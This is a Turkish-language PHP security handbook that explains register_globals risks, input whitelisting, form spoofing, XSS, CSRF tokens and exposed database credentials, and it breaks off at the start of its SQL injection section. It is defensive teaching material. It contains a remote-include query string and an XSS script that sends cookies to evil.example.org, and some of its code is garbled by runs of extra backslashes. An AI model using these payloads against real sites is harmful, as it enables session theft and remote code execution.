PHP Güvenliği El Kitabı

~ Ceviz.net

Uygulamayı tasarlayanlar ve programcıların güvenlik konusunda bilgi sahibi olmaları gereklidir. Basılı olarak yada internette bir çok kaynak bulunmaktadır. Aşağıdaki adreste bazı kaynakların listesine ulaşabilirsiniz. http://phpsec.org/library/.

DIŞARDAN ALINAN BÜTÜN VERİLERİ KONTROL EDİN.

Veri kontrolü *Web* uygulama güvenliğinin temel taşıdır. Tanımlanan değişkenlerinize başlangıç değerleri verilir ve dışardan alınan bütün veriler kontrol edilirse güvenliğe giden yolda çok mesafe katetmiş olunur. Beyaz Liste Yöntemi (White List Approach) ve karaliste yönteminden (Black List Approach) daha iyidir. Beyaz Liste Yöntemi dışardan gelen bütün verilere aksi ispatlanmadığı sürece zararlı veri muamelesi yapmak ve kontrol etmektir. Kara Liste Yöntemi ise tam tersidir yani aksi ispat edilmedikçe dışardan gelen bütün veriler zararsız kabul edilir.

Register Globals

register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri *OFF*) gelir. Bu belirtecin açık (değeri *ON*)olması doğrudan güvenlik açığı oluşturmasa da ciddi bir tehlike oluşturduğundan değerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapalı olması durumuna göre geliştirilmelidir.

Bu belirtecin açık olması neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardır.

```
if (yetkili_kulanici())
{
   $authorized= true;
}

if ($authorized)
{
   include ’/cok/onemli/bilgi.php’;
}
```

register_globals’ın açık olması durumunda bu sayfa adres satırına *?authorized=1* eklenerek çağırıldığında çok önemli bilgiye ulaşılmış olur. Bu tamamen programlama hatasıdır, *register_globals* belirtecinin oluşturabileceği tehlikeyi göstermek için basit bir örnektir. *register_globals* kapalı olduğunda programcı tarafından oluşturulan değişkenler dışarıdan müdahele ile (*?authorized=1* gibi) değiştirilemez. Açık oması durumunda ise değişkenler tanımlanırken bir ilk değer verilmelidir.

register_globals’ın çıkarabileceği bir diğer tehlikeli duruma include fonksiyonunun kullanımı örnektir:

PHP Kodu:

```
include "$path/script.php";
```

register_globals açık olduğunda bu sayfayı adres satırına “*?path=http%3A%2F%2Fevil.example.org%2F%3F*” eklenerek çağırıldığında aşağıdaki gibi bir sonuç çıkar.

PHP Kodu:

```
include “http://evil.example.org/?/script.php”;
```

Eğer *allow_url_fopen* açık ise (ki *php.ini* de öntanımlı olarak açıktır), bu kod “*http://evil.example.org/*”deki *script.php* dosyasını sanki aynı makinada bulunan bir dosya gibi çalıştırır. Bu birçok açık kaynaklı uygulamalarda ortaya çıkmış ciddi bir tehlikedir.

Tanımlandığında *$path* değişkenine bir ilk değer verilerek bu engellenebilir. *register_globals*’ı kapatarak ta bu engellenebilir. *register_globals*’ın kapalı olması bu ve bunun gibi programcı hatalarından kaynaklanan açıkların kapatılmasını sağlar.

Formdan gelen ve dışardan gelen verilerin işleneceği durumlarda programcıların bu durumu (*register_globals*) dikkate almaları gerekir. *$_POST* ve *$_GET* dizilerinin kullanılması bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarıda da belirtiğimiz gibi değişkenlere başlangıç değeri verilmesi çok önemlidir. Bu bölümde anlatılanlar *register_globals*’ın bir güvenlik açığı olduğunu göstermez ama kapalı olmasının bir bazı tehlikeleri önlediği kabul edilen bir gerçektir. Ayrıca değerin kapalı olması programcıların kullandıkları değişkenlerin kaynaklarını bilmeleri ve düşünmeleri (ki bu iyi programcının özelliklerindendir), konusunda zorladığı için de faydalıdır.

Veri Kontrolü
Veri kontrolü *Web* uygulama güvenliğinin temel taşıdır ve programlama dilinden ve geliştirme ortamından bağımsızdır. Uygulamaya giren ve uygulamadan çıkan verilerin geçerliliğinin kontrolü anlamına gelir. İyi bir yazılım projesi tasarımı programıcıları aşağıdaki işlemleri yapmaya teşfik eder :

- Kontrolsüz veri girişi olmamalıdır,
- Geçersiz (kural dışı, hatalı, yasak) veri kontrolü geçmemelidir, ve
- Bütün verilerin kaynkları mutlaka bilinmelidir.

Veri kontrolü ile ilgili birçok yöntem vardır. Bu yöntemler arasında iki tanesi çok kullanılmaktadır ve bu yönetemler yeterli seviyede güvenlik sağlarlar.

Yönlendirme Yöntemi (The Dispatch Method)
Bu yöntemde, Web yoluyla erişilebilen bir tane PHP betiği vardır. Diğer bütün PHP betikleri bu betik tarafından gerektiğinde *include* veya *require* fonksiyonları ile çağrılır. Bu yöntemde hangi betiğin çağırılacağı *GET* değişkeni ile belirtilir. Bu değişken basitçe çağırılacak betiğin ismi olabilir.

Örneğin :
http://example.org/*dispatch.php*?task=print_form

dispatch.php dosyası Web aracılığıyla ulaşılabilecek tek dosyadır. Bu yöntem programcıya iki önemli fayda sağlar :

dispatch.php ’de bazı temel güvenlik kontrollerini yaparak bütün uygulamada geçerli olmasını sağlanır.

Betiğe özel veri kontrolü gerektğinde ilgili betikte yapılabilir..

Daha fazla açıklama için *dispatch.php* :

PHP Kodu:

```php
/* Genel güvenlik kontrolleri  */

switch ($_GET['task'])
{
   case 'print_form':
      include '/inc/presentation/form.inc';
      break;

   case 'process_form':
      $form_valid = false;
      include '/inc/logic/process.inc';
      if ($form_valid)
      {
         include '/inc/presentation/end.inc';
      }
      else
      {
         include '/inc/presentation/form.inc';
      }
      break;

   default:
      include '/inc/presentation/index.inc';
      break;
}
```

dispatch.php'in Web'den doğrudan ulaşılabilen tek betik olduğu için ve diğer betikleri çağırdığı için genel kontrolleri *dispatch.php*'te yapılmasının doğru olacağı yukarıda belirtilmiştir. Ayrıca programcıya belli işlemle ilgili özel kontrolleri ilgili betikte yapılacağı da eklenmiştir. Örnekte end.inc ancak *$form_valid* değişkenin değerinin true olması durumunda çalıştırılır. *$form_valid* değişkenine başlangıçta *process.inc* çağırılmadan önce *false* değeri verilir. *process.inc* çalıştığında form doldurulmuşsa ve gerekli şartlar sağlanıyorsa (yani formun geçerliliği onaylanıyorsa) *$form_valid* değeri *true* yapılır ve *end.inc* dosyası çağırılır. Eğer form doldurulmamışsa yada bilgilerde bir yanlışlık veya eksiklik varsa *process.inc, $form_valid* değerine dokunmaz ve *form.inc* çağrılır.

Not : Eğer Web'den doğrudan ulaşılacak dosyaya *dispatch.php* yerine *index.php* adı verilirse betikleri çağırmak için URL'yi kullanılabilir. "*http://example.org/?task=print_form*" gibi.

Apache, *ForceType* belirteciyle yapılandırarak URL'leri "*http://example.org/app/print-form*" gibi algılaması sağlanabilir.

Çağırma Yöntemi (The Include Method)
Bu yöntemde genel güvenlik kontrollerinden sorumlu bir betik vardır ve diğer bütün betiklerin başında bu betik çağrılır. Bu betiğe uygun bir örnek *security.inc* :

PHP Kodu:

```
switch ($_POST['form'])
{
   case 'login':
      $allowed = array();
      $allowed[] = 'form';
      $allowed[] = 'input1';
      $allowed[] = 'input2';

      $sent = array_keys($_POST);

      if ($allowed == $sent)
      {
         include '/inc/logic/process.inc';
      }

      break;
}
```

Bu örnekte uygulamadaki bütün formlarda *form*, *input1*, *input2* isimleri ile form elemanları olmalıdır. Bu kurala uygun bir form aşağıdaki gibi olabilir :

PHP Kodu:

```
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Input 1:
<input type="text" name="input1" /></p>
<p>Input 2:
<input type="input2" name="input2" /></p>
<input type="submit" />
</form>
```

$allowed dizisi formlarda kullanıcak eleman isimlerinin kontrolü için kullanılıyor ve her "*for*" için ayrı olmalıdır. Bu kontrol ile formun düzgün olup olmadığı kontrol edilir ve *process.inc* dosyasında da veri kontrolu tamamlanır.

Not : Her dosyanın başında *security.inc* dosyasının çağırılmasını sağlamanın bir yolu da *php.ini*'de *auto_prepend_file* belirtecidir.

Veri Kontrolü

Beyaz liste yönteminin daha doğru bir yaklaşım olduğu belirtilmişti. Her duruma uygun örnekler vermek zor olsa da temel olarak veri kontrolü hakkında fikir verecek basit örnekler aşağıdadır.

E-posta adresinin düzgün yazılıp yazılmadığının kontrolü:

PHP Kodu:

```
$clean = array();

$email_pattern = '/^[^@\\\\\\\\\\\\\\\\\\s<&>]+@([-a-z0-9]+\\\\\\\\\\\\\\\\\\.)+[a-z]{2,}$/i';
```

```
if (preg_match($email_pattern, $_POST['email']))
{
   $clean['email'] = $_POST['email'];
}
```

$_POST['color'] değişkenin değerinin red, green, yada blue olduğunun kontrolü:

PHP Kodu:

```
$clean = array();

switch ($_POST['color'])
{
   case 'red':
   case 'green':
   case 'blue':
      $clean['color'] = $_POST['color'];
      break;
}
```

$_POST['num'] değerinin sayı olup olmadığının kontrolü:

PHP Kodu:

```
$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
   $clean['num'] = $_POST['num'];
}
```

$_POST['num'] değerinin ondalıklı sayı (*float*) olup olmadığı:

PHP Kodu:

```
$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
   $clean['num'] = $_POST['num'];
}
```

İsimlendirme

Yukarıdaki örnekler de $clean dizisi kullanılmıştır. Bu veri kontrolü için açıklayıcı bir örnektir. *$_POST* ve *$_GET* dizilerindeki verileri kontrol edilip eğer uygunsa *$clean* dizisine atılır.*$_POST* ve *$_GET* dizileri her zaman şüpheli olarak kabul edilmelidir.

$clean dizisini kullandıldığında beyaz liste yöntemine göre bu diziye girmeyen bütün veriler şüphelidir. Bu yaklaşım programın güvenlik seviyesini artırır.

Kontrolden geçen bütün veriler *$clean* dizisine atıldığı için karşılaşabilecek en kötü durum bürün verilerin zararlı olması durumundaki boş *$clean* dizisidir.

Zamanlama
Bir PHP betiği çalışmaya başlatıldığında HTTP iletişimi bitmiş demektir. Yani İstemci tarafından artık hiçbir veri gönderilemez (*register_globals* açık olsa bile). Bu yüzden tanımlanan bitin değişkenlere başlangıç değeri verilmesi çok önemlidir.

Hata Raporlama
PHP5'den önceki sürümlerde hata raporlama işlemini bazı belirteçleri ayarlanarak kolayca yapılabilir. Bu sürümlerde hata raporlama programlamadan çok PHP yorumlayıcısı tarafından yapılır. Bunun için kullanılacak belirteçler :

error_reporting: Bu belirteç hata raporlama seviyesinin belirlenmesini sağlar. Değerinin *E_ALL* olması tavsiye edilir.

display_errors: Bu belirteç hataların ekrana yazılıp yazılmayacağını belirtilmesine yarar. Geliştirme aşamasında değeri On olursa hatalar anlaşılır. Uygulama kullanılmaya başlandığında değerinin *Off* yapılması daha uygundur. Böylece hatalar kullanıcılardan ve hataların faydalı olacağı art niyetli kişilerden gizlenmiş olur.

log_errors: Bu belirteç hataların belirli bir log dosyasına yazılıp yazılmayacağının belirtilmesini sağlar. Değerinin On olması durumunda çalışmada yavaşlamaya sebeb olabilir. Geliştirme aşamasında kullanılması tavsiye edilir.

error_log: Hata raporlarının yazılacağı dosyanın tam yoludur. Burada dosyayı belirtirken dosyaya *Web* sunucusunun yazma yetkisi olup olmadığına dikkat edilmelidir.

error_reporting belirtecinin değerinin *E_ALL* olması programcı tarafından kullanılan değişkenlere başlangıç değeri verilmesini zorlayacak ve başlangıç değeri verilmemiş bir değişken kullanıldığında uyarı verecektir.

Not : Bu belirteçlerin değeri "*ini_set()*" fonksiyonu kullanılarak değiştirilebilir. Bu fonksiyonu *php.ini* dosyasında değişiklik yapılamadığı durumlarda kullanılabilir.

Daha ayrıntılı bilgi için :
http://www.php.net/manual/en/ref.errorfunc.php

PHP5 ile birlikte PHP'ye İstisna İşleme (*Exception Handling*) özelliği eklenmiştir.
http://www.php.net/manual/language.exceptions.php

Form İşleme
Sahte (Yalancı) Form Kayıtları
Veri kontrolünün önemini anlamak için aşağıdaki aşağıdaki örneği inceleyelim. (adreslerin hepsi temsilidir). *http://example.org/form.html*:

PHP Kodu:

```
<form action="/process.php" method="POST">
<select name="color">
<option value="red">red</option>
```

```
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

Kötü niyetli bir kişinin bu formu aşağıdaki gibi değiştirebilir.

PHP Kodu:

```
<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
```

Bu durumda form herhangi başka bir sunucuda veya herhangi bir bilgisayarda (bir tarayıcıdan görüntülenebilir olması yeterli) bulundurulabilir. URL kullanıldığı için aynı dosyaya *POST* yöntemi ile gönderilebilir.

Bu şekilde formlarda tarayıcı tarafında yapılan veri kontrolleri kolayca atlatılabilir. Yukarıdaki örnekte normal haldeki formda *$_POST['color']* değişkenin değeri red,green, veya blue olması gerekirken, yapılan değişiklikle herhangi bir değer olabilir.

Sahte HTTP İstekleri (HTTP Requests)
Daha güçlü ama az kullanılan bir veri kandırmacası da HTTP İstekleri ile yapılır. Yukarıdaki örnekte HTTP isteği şu şekilde görünür :

```
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red
```

telnet bu konuda deneme yapmak için kullanılabilir. http://www.php.net/ adresinne bir *GET* isteği şu şekilde yapılabilir :

```
$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/;
domain=.php.net
```

```
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...
```

Aynı isteği PHP ile de yapabilirsiniz:

PHP Kodu:

```php
<?php
$http_response = ”;
$fp = fsockopen(’www.php.net’, 80);
fputs($fp, "GET / HTTP/1.1\\\\\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\\\\\n");
fputs($fp, "Host: www.php.net\\\\\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\\\\\n\ \\\\\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\\\\\n");

while (!feof($fp)){
        http_response .= fgets($fp, 128);
}

fclose($fp);
echo nl2br(htmlentities($http_response));

?>
```

HTTP isteğinin bu şekilde gönderilmesi ve kontrol edilmesi programcıya esneklik sağlar.

Çapraz Kod Çalıştırma (Cross-Site Scripting)
Web uygulamaları güvenliği konusunda en yaygın olarak kullanılan ve bilinen güvenlik terimi çapraz kod çalıştırmadır (Cross-Site Scripting) ve bu ününü hakedecek değerdedir. PHP ile yazılmış birçok açık kaynak kodlu projeleri zaman zaman XSS (Yazıda ’Çapraz Kod Çalıştırma’ yerine kısaca kullanılacaktır) açıklarından kaynaklanan saldırılar yüzünden sıkıntı yaşamıştır.

XSS’in temel özellikleri :

- Bir kullanıcının sahip olduğu güveni kötüye kullanma.

- *Web* sayfalarına kullanıcılar genelde şüphe ile yaklaşırlar ama. tarayıcılar böyle değildir. Sunucu çerez gönderir ve tarayıcı bunu kabul eder. Ayrıca kullanıcıların siteye göre yada kullandıkları tarayıcıya göre farklı tarama alışkanlıkları vardır.

- Genelde *Web* sayfaları dışardan veri alır ve bunları işleyir ve gösterirler.

- XSS tehlikesi daha dışardan veri alan formalar, *Web* tabanlı e-posta uygulamaları dışarı ile veri alış verişi üzerine çalışan bütün betiklerde (RSS beslemeleri gibi) kendini gösterir.

- Saldırgan veriyi değiştirerek sayfada istediği herhangi birşeyi gösterebilir.

- Dışardan gelen veriler kontrol edilmemesi saldırganın istediği içeriğin sisteme girmesine sebep olur. Bu durum saldırganın kaynak koduna erişmesi kadar tehlikelidir.

Dışardan gelen veri demek sadece kullanıcı tarafında dolduran formlarla gelen veri demek değildir. *Web* posta uygulamasında dışardan gelen bir elektrnik posta, dışardan alınıp sayfada gösterilen bir reklam veya başka uygulamaların (*Web* tabanlı olmayıp ağda çalışan blog'lar gibi) kayıtları da dışardan gelen veri kapsamındadır.

Örnek olarak basit bir mesaj tahtası formunu inceleyelim :

PHP Kodu:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
if (isset($_GET['message']))
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
```

Burada formdan gelen mesaj metninin sonuna
ekleyerek dosyanın sonuna ekler.

Artniyetli bir kullanıcının aşağıdaki metni mesaj olarak yazıp gönderdiğini düşünelim.

PHP Kodu:

```
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>
```

Mesaj tahtası ziyaret edildiğinde JavaScript kullancıyı evil.example.org adresine yönlendirir ve mesaj tahtası uygulaması tarafından atılan çerez bilgileri adres satırından evil.example.org adresine gönderilir

Tabiki gerçek bir saldırganın yapacağı saldırı daha yaratıcı ve zararlı olacaktır. Yukarıda verilen örnek çok basit ve zararsızdır.

XSS saldırılarını engellemek aslında çok kolaydır.Bu konuda veri kontrolü HTML yada JavaScript ile tarayıcı tarafında yapıldığında kontrol dışı veri girilmesini engellemek oldukça zordur. XSS önlemek için :

DIŞARDAN GELEN BÜTÜN VERİLERİ KONTROL EDİN.

Bu belgenin genelinde söylendiği gibi güvenliğin temeli veri kontrolüdür.

PHP'nin sağladığı fonsiyonları mutlaka kullanın.

PHP'nin sağladığı fonksiyonlar (*htmlentities()*, *strip_tags()*, veya *utf8_decode()*) bu konuda

güvenle kullanılabilirler. Bu fonksiyonlar hızlı olmalarının yanında çokça denendikleri için hatalı olma olasılıkları çok düşüktür.

Beyaz Liste Yönetmini Kullanın.

Dışardan gelen bütün veriye tehlikeli gözüyle bakılıp kontrol edilmelidir. Örneğin, kullanıcı bilgileri ile ilgili bir formda soyadının alındığını düşünelim. Soyadının sadece harflerden oluştuğu için bu şekilde bir kontrol yapılmalıdır. Bu durumda O'Reilly ve Berners-Lee gibi soyadları kontrolden geçemeyecektir. Birkaç ekleme ile bu durum halledilebir tabiki. Bu durum göz ardı edilse bile doğru bilginin reddedilmesi çoğu zaman yanlış bilginin sisteme kabul edilmesinden daha az zararlıdır.

Değişken isimlendirme kurallara bağlanmalıdır.

Değişken isimleri veri kontrolünde çok yardımcı olabilir. Özellikle kontrol edilen ve edilmeyen verinin bir birinden ayırılmasında ve kontrol işlemleri konusunda yardımcıdır. Ayrıca programın sonradan değiştirilebilmesinde de geliştiricilere faydalıdır. İsimlendirmenin eksik veya yanlış yapılması ilerleyen zamanlarda güvenlik açıklarına sebep olabilir.

Yukarıdaki önerilere göre daha güvenli bir mesaj tahtası uygulaması şöyle olabilir :

PHP Kodu:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
if (isset($_GET['message'])) {
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}

readfile('./messages.txt');
?>
```

htmlentities() fonksiyonunun eklenmesi mesaj tahtasının daha güvenli hale getirmiştir ama uygula tamamen güvenli değildir. Yukarıdaki önerileri dikkate alarak eklemeler yapılabilir.

Sunucu Taraflı Çapraz Kod Çalıştırma (Cross-Site Request Forgeries)
İsimdeki benzerliğine rağmen Sunucu Taraflı Çapraz Kod Çalıştırma (CSRF) XSS ile tamamen zıt bir mantıkla çalışır. XSS'e göre daha az bilinir ama daha tehlikelidir. CSRF kullanıcının sunucuya olan güvenini kötüye kullanma mantığı ile çalışır.

CSRF'nin özellikleri:

- Bir *Web* sayfasının kullanıcıdaki güvenini kötüye kullanır.

- Birçok kullanıcının güvenilir sayılacak özelliklere sahip olmamasına rağmen *Web* sayfaları kullanıcılar bazı özel haklar sunarlar. Özel haklara sahip kullanıcılar muhtemel kurbanlardır.

• Genelde kullanıcılarının kimliklerine güvenen *Web* sayfalarında CSRF tehlikesi fazladır. Güvenilir sayılan kullanıcı kimliklerinin sistemde daha çok yetki taşıması çok doğaldır. Bunun yüzünden çok güvenli oturum yönetimi olsa bile CSRF saldırısı başarılı olabilir. CSRF saldırısının en çok zarar vereceği ortamlar kullanıcılarına en çok güvenen ortamlardır.

• Saldırgan kullanıcıya istediği HTTP isteğini yaptırır.

CSRF nin temem mantığı kullanıcının haberi olmadan başka bir HTTP isteğinde bulunmasını sağlamaktır.

CSRF doğrudan HTTP istekleri ile ilgili olduğu için bu konuyu tam anlamak için HTTP isteği hakkında temel bilgiye sahip olmak gerekir.

Tarayıcı HTTP istemcisidir ve Web sunucusu da HTTP sunucusudur. İstemciler işlemi istek (*HTTP Request*) göndererek başlatır sunucular da buna (*Response*) cevap verir. HTTP isteğine basit bir örnek :

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

İlk satıra istek satırı denir ve istek yöntemini,isteğin yapıldığı URL'yi ve HTTP sürümünü bildirir. Diğer satırlar ise HTTP başlıklarıdır. Her satırda değişken ismi, noktalı virgül ve değişkenin değeri bulunur.

Yukarıdaki isteği aşağıdaki gibi PHP'yle de oluşturabiliriz :

PHP Kodu:

```
<?php
$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\\\\\\\\\\\\\\\\\\\\r\\\\\\\\\\\\\\\\\\\\n\\\\\\\\\\
\\\\\\\r\\\\\\\\\\\\\\\\\\\\n";
?>
```

Bu isteğe sunucu tarafından gönderilen cevap ise şöyledir :

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57

<html>
<img src= "http://example.org/image.png">
```

Cevabın içeriği tarayıcıda gördüğümüz koddur (HTML, XML ...). Örnekteki "*img*" tarayıcıya yeni

bir istekte bulunmasını söyler. Tarayıcı bu resim için de istekle bulunur. Bu istek şu şekilde yapılır:

```
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

Tarayıcı src te yazılı olan adrese kullanıcı tarafından yönlendirilmiş gibi gider. Tarayıcı bunun bir resim isteği olduğunu ayırt edemez.
Formları göz önünde bulundurarak aşağıdaki örnek incelendiğinde:

```
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
```

GET yöntemini kullanan bir formun isteği ile normal bir resmin isteği tarayıcı tarafından ayırt edilemez ve her ikisi de aynı adrese gönderilebilir. Eğer *register_globals* açık ise fromun gönderiliş yöntemi de önemli değildir.
URL tarafından gönderilen çerezin URL'ye gönderilen her isteğe eklenmesi CSRF'nin etkisini artırır. Kullanıcı bir sayfada gezinti yaparken img ile belirtilmiş bir URL'de farkında olmadan bir işlem yapabilir.
Örnek olarak "*http://stocks.example.org/form.html*" adresindeki form :

PHP Kodu:

```
<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
```

Form 'symbol' alanına SCOX ve quantity alanına 1000 girilip gönderildiğinde tarayıcı aşağıdaki gibi bir istek gönderir :

```
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Eğer herhangi bir img'nin src değerine yukaridaki istekteki URL'yi yazarsak aynı istek sunucuya gönderilecektir. Sunucu bunun bir form mu yoksa bir resim isteği mi olduğunu farketmeyecektir.
CSRF ye karşı yapılabilecekler :

Kritik bir işlem formlarda GET yerine POST kullanılmalıdır.

$_POST dizisi kullanılmalıdır. register_globals açık olması durumunda formları POST ile göndermek CESRF için bir engel olmayacaktır.

Yüzde yüz kolaylık sağlamaya çalışmayın.
Kullanıcıların yazılan uygulamayı kolayca kullanabilmesi tabiki önemlidir. Bazı durumlarda kolaylığı sağlamak için yapılanlar kötü sonuçlar doğurabilir. Kolaylık güvenlik dengesinin herzaman akılda tutulması gereklidir.

Kendi formlarınızın kullanımılmasını sağlayın.
CSRF ile ilgili en büyük problem gelen başka yollardan gelen isteklerin normal bir fomdan geliyormuş gibi algınabilmesidir. Bir isteğin formdan gelip gelmediğini anlamak için uygulamaya özel çözümler üretilmelidir.
Yukarıdaki yazılanları göz önünde bulundurularak daha güvenli bir mesaj tahtası şöyle olabilir :

PHP Kodu:

```
<?php
$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\\\\\\\\\\\\\\\\\\\\\n");
fclose($fp);
?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
$tokens = file('./tokens.txt');
if (in_array($_POST['token'], $tokens)) {
        if (isset($_POST['message'])) {
        $message = htmlentities($_POST['message']);
        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
        }
}
readfile('./messages.txt');
?>
```

Mesaj tahtasının son hali daha güvenlidir. Herkesin kolayca görebileceği bir durum var.
Zaman (*time()*) çok kolay tahmin edilebilir. MD5 kullanılsa bile tahmin edilebilme tehlikesi vardır. uniqid() ve rand() kullanılarak güvenlik artırılabilir.
Daha da önemlisi geçerli bir anahtar (*$token*) elde etmek oldukça basittir. Form sayfası ziyaret edilip kaynağa eklenen anahtar alınır. Geçerli anahtar ile saldırgan geçerllik süresi dolana kadar işlem yapabilir.
Yukarıda yazılanlar göz önünde bulundurularak daha güvenli bir mesaj tahtası şöyle olabilir :

PHP Kodu:

```
<?php
session_start();
if (isset($_POST['message'])) {
        if ($_POST['token'] == $_SESSION['token']) {
        $message = htmlentities($_POST['message']);
        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
```

```
        }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
readfile('./messages.txt');
?>
```

Veritabanı Ve SQL Açık Giriş Tanımları (Exposed Access Credentials)
Birçok PHP uygulamasında veritabanı ile alışveriş yapılır. Bu durum tabiki veritabanı bağlantısı ve bağlantı yetkisi gerektirir. Örnek olarak :

PHP Kodu:

```
<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);
?>
```

Yukarıdaki satırlar db.inc dosyası olarak veritabanı ile ilgili işlem yapılacağı zaman çağırılır. Bu yöntem veritabanı ile ilgili bilgilerin tek dosyada tutulduğu için kullanışlıdır.Bu dosyanın dışarıdan direk URL ile ulaşılabilecek bir yerde olması tehlikelidir, çünkü bu durumda include veya require çağırılarak kolayca veritabanı bağlantısına ulaşılabilir.Web sunucu dizininde olan dosyaların bir tarayıcı aracılığıyla ulaşılabilir olduğu unutulmamalıdır. Örneğin *Web* sunucu dizini /usr/local/apache/htdocs olsun. /usr/local/apache/htdocs/inc/db.inc dosyasına *Web* tarayıcıda http://example.org/inc/db.inc yazarak ulaşabiliriz.Bu duruma bazı *Web* sunucularının .inc uzantılı dosyaları normal metin dosyaları gibi gösterdiğini de eklendiğinde bu şekilde bir yapıda veritabanı bilgileribe kadar kolay ulaşılabileceği görülebilir.Bu durumun çözümü bütün güvenlik riski taşıyan modülleri *Web* sunucu dizinin dışında barındırmaktır. include ve require dosya yolu olarak dosya sistemindeki yolları da kabul ettikleri için modülleri çağırma da herhangi bir sıkıntı olmayacaktır.Eğer modüllerin yerini sonradan değiştirme imkanınız yoksa , *Web* sunucu dizinde olmaları gerekiyorsa, httpd.conf ayar dosyasında aşağıdaki ayarlar yapılarak .inc uzantılı dosyalara ulaşılamaması sağlanabilir. (Bu örnek Apache Web Sunucusu içindir.)

```
<Files ~ "\\\\\\\\\\\\\\\\\\.inc$">
Order allow,deny
Deny from all
</Files>
```

Bu tür ayar dosyalarının (.php uzantısı vererek yada AddType ile .inc PHP'ye gönderek) PHP

tarafından işlenmesine izin vermek () doğru bir yol değildir. Bu tür kodların dışarıdan çağırılarak çalıştırılabilmesi her zaman tehlikelidir. Eğer bu dosyalarda sadece değişkenlere değer atanıyorsa yukarıda söylenenlerin tehlikesi daha azdır.Bu konu da yazarın tavisye ettiği yöntem ise ’PHP Cookbook (O’Reilly) by David Sklar and Adam Trachtenberg’ adlı kitapta anlatılan yöntemdir. Dışarıdan ulaşılamayan ve sadece root tarafından okunabilen gizli bir dosyada /path/to/secret-stuff veritabanı bilgileri tutulur :SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
httpd.conf dosyasında aşağıdaki ayarı yaparak bu dosya çağırılır :Include "/path/to/secret-stuff"
Şimdi PHP betiklerinde $_SERVER[’DB_USER’] ve $_SERVER[’DB_PASS’] kullanılarak kullanıcı adı ve şifresine ulaşılabilir. *Web* sunucusu dosyayı okuyamdığından PHP veya diğer dillerle bu dosyaya ulaşılamaz. Bu yöntemde dikkat edilmesi gereken husus ise bu değişkenlerin varlığının phpinfo() veya print_r($_SERVER) ile dışarıya gösterilmemesidir.SQL Değiştirme (SQL Injection)SQL değiştirme savunması çok kolay bir tehlikedir. Fakat birçok uygulama hala risk taşımaktadır. Aşağıdaki örnekte basit bir SQL sorgusu vardır.

PHP Kodu:

```
